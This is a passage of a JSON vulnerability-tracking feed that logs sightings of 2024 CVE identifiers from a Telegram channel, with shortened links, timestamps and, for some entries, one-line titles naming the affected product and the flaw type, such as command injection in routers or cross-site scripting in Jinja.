"https://ift.tt/otI1ZlJ\nCVE-2024-22146", "creation_timestamp": "2024-01-31T20:31:28.000000Z"}, {"uuid": "39465fcb-8fd3-4cf6-a2a2-a873a4228594", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22297", "type": "seen", "source": "https://t.me/ctinow/177028", "content": "https://ift.tt/Xjo5iZE\nCVE-2024-22297", "creation_timestamp": "2024-01-31T19:31:55.000000Z"}, {"uuid": "45aecdc6-414a-4ed0-92b5-97b832225aed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22295", "type": "seen", "source": "https://t.me/ctinow/177027", "content": "https://ift.tt/dhYGUlK\nCVE-2024-22295", "creation_timestamp": "2024-01-31T19:31:54.000000Z"}, {"uuid": "39167905-9996-47f6-a923-10f229b96eb7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22293", "type": "seen", "source": "https://t.me/ctinow/177026", "content": "https://ift.tt/Ap1Rg3S\nCVE-2024-22293", "creation_timestamp": "2024-01-31T19:31:52.000000Z"}, {"uuid": "c418807a-dc62-44c4-b14c-c3dd785244d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22292", "type": "seen", "source": "https://t.me/ctinow/177025", "content": "https://ift.tt/DmJpW9P\nCVE-2024-22292", "creation_timestamp": "2024-01-31T19:31:52.000000Z"}, {"uuid": "03de3b5b-22ad-4e89-9865-3a16cb6943f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22161", "type": "seen", "source": "https://t.me/ctinow/177019", "content": "https://ift.tt/Zke8b7Q\nCVE-2024-22161", "creation_timestamp": "2024-01-31T19:31:45.000000Z"}, {"uuid": "6b2288bc-710b-4f6e-8316-afdcee1f1d3a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22160", "type": "seen", "source": "https://t.me/ctinow/177018", "content": "https://ift.tt/7HNo13y\nCVE-2024-22160", "creation_timestamp": "2024-01-31T19:31:44.000000Z"}, {"uuid": "e26dbbea-2a8f-4952-8b6f-376eda76712d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22310", "type": "seen", "source": "https://t.me/ctinow/176961", "content": "https://ift.tt/HUivCFX\nCVE-2024-22310", "creation_timestamp": "2024-01-31T18:22:19.000000Z"}, {"uuid": "ab13af4b-0c05-438d-b159-087cddb78b7a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22304", "type": "seen", "source": "https://t.me/ctinow/176775", "content": "https://ift.tt/nA4Jy6I\nCVE-2024-22304", "creation_timestamp": "2024-01-31T14:31:38.000000Z"}, {"uuid": "bd6d752d-56e8-41ee-97d3-82d1d6a2e055", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22291", "type": "seen", "source": "https://t.me/ctinow/176774", "content": "https://ift.tt/7fIStT5\nCVE-2024-22291", "creation_timestamp": "2024-01-31T14:31:37.000000Z"}, {"uuid": "8fc4ecb4-9be7-44fd-8b56-8daa8cc71a28", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22285", "type": "seen", "source": "https://t.me/ctinow/176773", "content": "https://ift.tt/wrIOSMC\nCVE-2024-22285", "creation_timestamp": "2024-01-31T14:31:36.000000Z"}, {"uuid": "82c0dd68-fb2c-4ddd-aabf-a67e18e4502d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22143", "type": "seen", "source": "https://t.me/ctinow/176772", "content": "https://ift.tt/OC6Hvxl\nCVE-2024-22143", "creation_timestamp": "2024-01-31T14:31:35.000000Z"}, {"uuid": "aa44b350-b22f-4c81-aed5-ab0ccd829941", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22140", "type": "seen", "source": "https://t.me/ctinow/176825", "content": "https://ift.tt/Iz0wnat\nCVE-2024-22140", "creation_timestamp": "2024-01-31T15:31:44.000000Z"}, {"uuid": "e8c4b876-4bbb-448b-a554-d6b9c2854ef1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22136", "type": "seen", "source": "https://t.me/ctinow/176824", "content": "https://ift.tt/LalkQ8p\nCVE-2024-22136", "creation_timestamp": "2024-01-31T15:31:44.000000Z"}, {"uuid": "bad98b33-073d-4cd6-9ced-de7a069a5ec0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22236", "type": "seen", "source": "https://t.me/ctinow/176541", "content": "https://ift.tt/MtYVrhg\nCVE-2024-22236", "creation_timestamp": "2024-01-31T08:22:10.000000Z"}, {"uuid": "c5cf892c-43f9-4d0e-84aa-2450e013aa1b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22569", "type": "seen", "source": "https://t.me/ctinow/176442", "content": "https://ift.tt/0OJwy3F\nCVE-2024-22569", "creation_timestamp": "2024-01-31T03:32:09.000000Z"}, {"uuid": "c864e675-737b-40d9-94ed-579722e4ac17", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22894", "type": "seen", "source": "https://t.me/ctinow/181567", "content": "https://ift.tt/9e6347f\nCVE-2024-22894 Exploit", "creation_timestamp": "2024-02-08T19:22:15.000000Z"}, {"uuid": "c528e0ac-19e7-467a-b05a-256f80540106", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22548", "type": "seen", "source": "https://t.me/ctinow/170732", "content": "https://ift.tt/CGWcLn0\nCVE-2024-22548 Exploit", "creation_timestamp": "2024-01-20T21:16:33.000000Z"}, {"uuid": "5fbea418-d61a-4482-9225-53271622032e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22545", "type": "seen", "source": "https://t.me/ctinow/174898", "content": "https://ift.tt/AxBKInC\nCVE-2024-22545 | TRENDnet TEW-824DRU 1.04b01 sub_420AE0 command injection", "creation_timestamp": "2024-01-28T10:56:18.000000Z"}, {"uuid": "331b9ebf-fa1d-40c9-b9f3-7a2211682afc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22720", "type": "seen", "source": "https://t.me/ctinow/176336", "content": "https://ift.tt/SmkBeYu\nCVE-2024-22720 Exploit", "creation_timestamp": "2024-01-30T23:16:42.000000Z"}, {"uuid": "493910a7-01d4-43a5-b87c-b4e7490282c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22119", "type": "seen", "source": "https://t.me/ctinow/181945", "content": "https://ift.tt/2DuLWoc\nCVE-2024-22119", "creation_timestamp": "2024-02-09T10:31:13.000000Z"}, {"uuid": "ed6b8974-b0b7-40f2-84f6-62f78e352b1e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22836", "type": "seen", "source": "https://t.me/ctinow/181640", "content": "https://ift.tt/podkuvj\nCVE-2024-22836", "creation_timestamp": "2024-02-08T21:31:55.000000Z"}, {"uuid": "ab856123-23e5-4151-827e-78e1fb0c1dec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22318", "type": "seen", "source": "https://t.me/ctinow/181768", "content": "https://ift.tt/N6iXSCe\nCVE-2024-22318", "creation_timestamp": "2024-02-09T02:26:26.000000Z"}, {"uuid": "1958d839-533e-4562-9a4e-c9d7ecbab55c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22332", "type": "seen", "source": "https://t.me/ctinow/181769", "content": "https://ift.tt/HXyz8Pg\nCVE-2024-22332", "creation_timestamp": "2024-02-09T02:26:27.000000Z"}, {"uuid": "a0771c3b-c63f-42fc-9a0c-ddec55308d6c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22416", "type": "seen", "source": "https://t.me/ctinow/169537", "content": "https://ift.tt/5DOJBQM\nCVE-2024-22416", "creation_timestamp": "2024-01-18T01:31:15.000000Z"}, {"uuid": "978fa74c-f7ea-4612-ac75-26c489f3743a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22715", "type": "seen", "source": "https://t.me/ctinow/169435", "content": "https://ift.tt/9rP7v0h\nCVE-2024-22715", "creation_timestamp": "2024-01-17T19:26:44.000000Z"}, {"uuid": "ee91c3ad-ae5c-41f0-af60-65efb25c4efb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22409", "type": "seen", "source": "https://t.me/ctinow/169055", "content": "https://ift.tt/cRox4ba\nCVE-2024-22409", "creation_timestamp": "2024-01-17T00:26:47.000000Z"}, {"uuid": "f54d0b8a-a08b-48af-af79-2be89d82ecfd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22464", "type": "seen", "source": "https://t.me/ctinow/181295", "content": "https://ift.tt/af59vy2\nCVE-2024-22464", "creation_timestamp": "2024-02-08T11:32:01.000000Z"}, {"uuid": "814500fb-dcc8-4838-9083-8925c2062460", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22770", "type": "seen", "source": "https://t.me/ctinow/171720", "content": "https://ift.tt/MTzlbn5\nCVE-2024-22770", "creation_timestamp": "2024-01-23T06:21:34.000000Z"}, {"uuid": "d91c49c5-5b4b-4c10-bb87-88a00e8f6a93", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22769", "type": "seen", "source": "https://t.me/ctinow/171719", "content": "https://ift.tt/AEn6chr\nCVE-2024-22769", "creation_timestamp": "2024-01-23T06:21:33.000000Z"}, {"uuid": "ab109639-f15c-47dc-a8ef-e3e38f2efb07", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22768", "type": "seen", "source": "https://t.me/ctinow/171718", "content": "https://ift.tt/OefIXtY\nCVE-2024-22768", "creation_timestamp": "2024-01-23T06:21:32.000000Z"}, {"uuid": "00d70f23-44af-4643-9123-9fb510ddc4cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22895", "type": "seen", "source": "https://t.me/ctinow/171274", "content": "https://ift.tt/80XO34Z\nCVE-2024-22895", "creation_timestamp": "2024-01-22T16:24:16.000000Z"}, {"uuid": "3ce23da3-a327-4d3d-97a4-8b3b07294121", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22705", "type": "seen", "source": "https://t.me/ctinow/171902", "content": "https://ift.tt/gDhUws4\nCVE-2024-22705", "creation_timestamp": "2024-01-23T12:31:12.000000Z"}, {"uuid": "38bf06eb-970b-42b6-b04e-6e3ad8ab7581", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22076", "type": "seen", "source": "https://t.me/ctinow/171901", "content": "https://ift.tt/PL3wasb\nCVE-2024-22076", "creation_timestamp": "2024-01-23T12:31:10.000000Z"}, {"uuid": "2cd7c5b0-f246-4490-8461-d43b55fbbb27", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22771", "type": "seen", "source": "https://t.me/ctinow/171721", "content": "https://ift.tt/URXPufY\nCVE-2024-22771", "creation_timestamp": "2024-01-23T06:21:35.000000Z"}, {"uuid": "309bc04e-9e68-4411-a2d6-1f52b529f9ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22394", "type": "seen", "source": "https://t.me/ctinow/181279", "content": "https://ift.tt/CA5gxwX\nCVE-2024-22394 | SonicWall SonicOS 7.1.1-7040 SSL-VPN improper authentication (SNWLID-2024-0003)", "creation_timestamp": "2024-02-08T11:07:08.000000Z"}, {"uuid": "fae2e85f-f157-4269-b0c9-3bdb892c4ca9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22211", "type": "seen", "source": "https://t.me/ctinow/170994", "content": "https://ift.tt/4yAn0NP\nCVE-2024-22211", "creation_timestamp": "2024-01-22T06:51:52.000000Z"}, {"uuid": "2159eea2-8923-417a-bf01-453e84b608f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22113", "type": "seen", "source": "https://t.me/ctinow/170990", "content": "https://ift.tt/XSGK5nC\nCVE-2024-22113", "creation_timestamp": "2024-01-22T06:30:30.000000Z"}, {"uuid": "f1a20521-cc56-47c4-8bed-e90a0126e688", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22772", "type": "seen", "source": "https://t.me/ctinow/171722", "content": "https://ift.tt/tPjqyum\nCVE-2024-22772", "creation_timestamp": "2024-01-23T06:21:36.000000Z"}, {"uuid": "a541f72e-37bd-4061-8087-3e6b00cced4c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22233", "type": "seen", "source": "https://t.me/ctinow/171471", "content": "https://ift.tt/V1ivojg\nCVE-2024-22233", "creation_timestamp": "2024-01-22T22:16:35.000000Z"}, {"uuid": "69cd0260-e853-4904-8229-a2d31d373c86", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22195", "type": "seen", "source": "https://t.me/ctinow/175778", "content": "https://ift.tt/ENuRkTZ\nCVE-2024-22195 | Pallets Jinja prior 3.1.3 HTML Attribute cross site scripting (GHSA-h5c8-rqwp-cp95)", "creation_timestamp": "2024-01-30T09:41:34.000000Z"}, {"uuid": "5ac0d185-334a-47b9-85ab-a059a81e117b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22647", "type": "seen", "source": "https://t.me/ctinow/175735", "content": "https://ift.tt/f3VvgBW\nCVE-2024-22647", "creation_timestamp": "2024-01-30T08:32:01.000000Z"}, {"uuid": "81a27e77-e901-450a-adfa-85ec552e283e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22233", "type": "seen", "source": "https://t.me/ctinow/171173", "content": "https://ift.tt/VMTzYd6\nCVE-2024-22233", "creation_timestamp": "2024-01-22T14:21:53.000000Z"}, {"uuid": "6547d248-4306-4b97-95c1-1a4ccdb887a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22194", "type": "seen", "source": "https://t.me/ctinow/175741", "content": "https://ift.tt/D1ELCml\nCVE-2024-22194 | Cyber-Domain-Ontology CDO-Utility-Local-UUID up to 0.12.0 unknown vulnerability (GHSA-rgrf-6mf5-m882)", "creation_timestamp": "2024-01-30T08:41:24.000000Z"}, {"uuid": "05cc50ea-452d-4633-be55-1814d125c29f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22648", "type": "seen", "source": "https://t.me/ctinow/175736", "content": "https://ift.tt/TdSQ9kZ\nCVE-2024-22648", "creation_timestamp": "2024-01-30T08:32:02.000000Z"}, {"uuid": "02483063-7de7-4f46-af04-8dd755525e03", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22190", "type": "seen", "source": "https://t.me/ctinow/175704", "content": "https://ift.tt/k1fxiJK\nCVE-2024-22190 | GitPython prior 3.1.41 on Windows untrusted search path", "creation_timestamp": "2024-01-30T06:38:10.000000Z"}, {"uuid": "7d179d9a-6dfe-49f1-a3b4-afc6797bb816", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22549", "type": "seen", "source": "https://t.me/ctinow/170731", "content": "https://ift.tt/f8JQzT4\nCVE-2024-22549 Exploit", "creation_timestamp": "2024-01-20T21:16:32.000000Z"}, {"uuid": "d41c4671-8fa0-42ff-bc97-3f4de4276801", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22568", "type": "seen", "source": "https://t.me/ctinow/170730", "content": "https://ift.tt/Tk0vRmn\nCVE-2024-22568 Exploit", "creation_timestamp": "2024-01-20T21:16:31.000000Z"}, {"uuid": "2b89bd45-af6e-4ca9-872d-f86fa8b798b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22591", "type": "seen", "source": "https://t.me/ctinow/170729", "content": "https://ift.tt/ExfqOyJ\nCVE-2024-22591 Exploit", "creation_timestamp": "2024-01-20T21:16:30.000000Z"}, {"uuid": "a5ad260b-b118-4781-89e4-f9ba030c19d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22592", "type": "seen", "source": "https://t.me/ctinow/170728", "content": "https://ift.tt/BeR15vo\nCVE-2024-22592 Exploit", "creation_timestamp": "2024-01-20T21:16:28.000000Z"}, {"uuid": "999a0840-e430-4510-a050-3083ff0885fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22593", "type": "seen", "source": "https://t.me/ctinow/170727", "content": "https://ift.tt/nr29ovk\nCVE-2024-22593 Exploit", "creation_timestamp": "2024-01-20T21:16:27.000000Z"}, {"uuid": "8602904c-b124-4b2b-8747-95901d061a23", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22490", "type": "seen", "source": "https://t.me/ctinow/176138", "content": "https://ift.tt/2haiTSr\nCVE-2024-22490 Exploit", "creation_timestamp": "2024-01-30T18:17:01.000000Z"}, {"uuid": "f8819826-5f89-4d1f-9127-c549b5716a4c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22660", "type": "seen", "source": "https://t.me/ctinow/176137", "content": "https://ift.tt/y2DM80l\nCVE-2024-22660 Exploit", "creation_timestamp": "2024-01-30T18:17:00.000000Z"}, {"uuid": "19b6a489-fd65-4104-8abd-2da5d2b8a2f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22492", "type": "seen", "source": "https://t.me/ctinow/170722", "content": "https://ift.tt/fUu7ZpC\nCVE-2024-22492 Exploit", "creation_timestamp": "2024-01-20T21:16:21.000000Z"}, {"uuid": "5e06af84-e737-4300-848a-cbaa706084e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22493", "type": "seen", "source": "https://t.me/ctinow/170721", "content": "https://ift.tt/0cKMdnF\nCVE-2024-22493 Exploit", "creation_timestamp": "2024-01-20T21:16:19.000000Z"}, {"uuid": "99194306-61c6-4797-90f3-035d7d2eb8fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22894", "type": "seen", "source": "https://t.me/ctinow/175843", "content": "https://ift.tt/3duG4Cg\nCVE-2024-22894", "creation_timestamp": "2024-01-30T11:21:30.000000Z"}, {"uuid": "5424bbec-df08-43c3-abb3-b9d5133c5e06", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22199", "type": "seen", "source": "https://t.me/ctinow/176030", "content": "https://ift.tt/QmIznWw\nCVE-2024-22199 | gofiber template prior 3.1.9 cross site scripting", "creation_timestamp": "2024-01-30T16:21:54.000000Z"}, {"uuid": "c9ab2f05-f17a-446f-a41e-6697c58c18f2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22651", "type": "seen", "source": "https://t.me/ctinow/176335", "content": "https://ift.tt/QE1cIyt\nCVE-2024-22651 Exploit", "creation_timestamp": "2024-01-30T23:16:40.000000Z"}, {"uuid": "c5640e0a-7c4c-4d27-9d57-80ac1d33af01", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22205", "type": "seen", "source": "https://t.me/ctinow/176136", "content": "https://ift.tt/vrb3aAS\nCVE-2024-22205 Exploit", "creation_timestamp": "2024-01-30T18:16:58.000000Z"}, {"uuid": "0eeb3b0c-d4ac-493e-8827-81eccca2504e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22417", "type": "seen", "source": "https://t.me/ctinow/176135", "content": "https://ift.tt/0VAnjBd\nCVE-2024-22417 Exploit", "creation_timestamp": "2024-01-30T18:16:57.000000Z"}, {"uuid": "3aebdee5-ad21-4c9d-a2c6-536130464ce1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22193", "type": "seen", "source": "https://t.me/ctinow/176104", "content": "https://ift.tt/mNYrVJo\nCVE-2024-22193", "creation_timestamp": "2024-01-30T17:21:59.000000Z"}, {"uuid": "defa2d49-f277-4ac0-a648-d4a45ffd05d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22200", "type": "seen", "source": "https://t.me/ctinow/176105", "content": "https://ift.tt/YM7of51\nCVE-2024-22200", "creation_timestamp": "2024-01-30T17:22:00.000000Z"}, {"uuid": "7fde2cac-acc1-4e4e-95e3-57230239b4be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22198", "type": "seen", "source": "https://t.me/ctinow/176069", "content": "https://ift.tt/3GqhTBS\nCVE-2024-22198 | 0xJacky Nginx-UI up to 2.0.0.beta.8 Setting command injection", "creation_timestamp": "2024-01-30T16:51:36.000000Z"}, {"uuid": "962652ad-e432-473b-9ad5-12ea58919a07", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22197", "type": "seen", "source": "https://t.me/ctinow/176068", "content": "https://ift.tt/AHQ2Rxo\nCVE-2024-22197 | 0xJacky Nginx-UI up to 2.0.0.beta.8 Setting command injection (GHSA-pxmr-q2x3-9x9m)", "creation_timestamp": "2024-01-30T16:51:35.000000Z"}, {"uuid": "ebd500da-31fd-4f31-93ce-a1b9f60c664e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22196", "type": "seen", "source": "https://t.me/ctinow/176067", "content": "https://ift.tt/9rih1cP\nCVE-2024-22196 | 0xJacky Nginx-UI up to 2.0.0.beta.8 sql injection", "creation_timestamp": "2024-01-30T16:51:34.000000Z"}, {"uuid": "dc6fa59e-7a42-4f6b-aa16-69b0e673ff51", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22942", "type": "seen", "source": "https://t.me/ctinow/176000", "content": "https://ift.tt/sMHSryQ\nCVE-2024-22942 | Totolink A3300R 17.0.0cu.557_B20221024 setWanCfg hostName command injection", "creation_timestamp": "2024-01-30T15:51:50.000000Z"}, {"uuid": "0dae7f3a-fe43-4a46-819a-c9b0d9cccb4d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22211", "type": "seen", "source": "https://t.me/ctinow/174536", "content": "https://ift.tt/8ucmWXO\nCVE-2024-22211 Exploit", "creation_timestamp": "2024-01-26T23:16:39.000000Z"}, {"uuid": "245e1f39-0033-4276-a9a3-5cad9e822a04", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22914", "type": "seen", "source": "https://t.me/ctinow/170361", "content": "https://ift.tt/f1nxgL8\nCVE-2024-22914", "creation_timestamp": "2024-01-19T19:26:52.000000Z"}, {"uuid": "5110df9a-cf0f-4b86-9ac8-0c434d0542fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22523", "type": "seen", "source": "https://t.me/ctinow/175821", "content": "https://ift.tt/DtPV3H5\nCVE-2024-22523", "creation_timestamp": "2024-01-30T10:31:50.000000Z"}, {"uuid": "9493bef0-3ff6-4382-9090-db6492b65482", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22646", "type": "seen", "source": "https://t.me/ctinow/175734", "content": "https://ift.tt/hxkzRVo\nCVE-2024-22646", "creation_timestamp": "2024-01-30T08:32:00.000000Z"}, {"uuid": "1715c418-955b-4668-bd29-06a0f63b3d28", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22643", 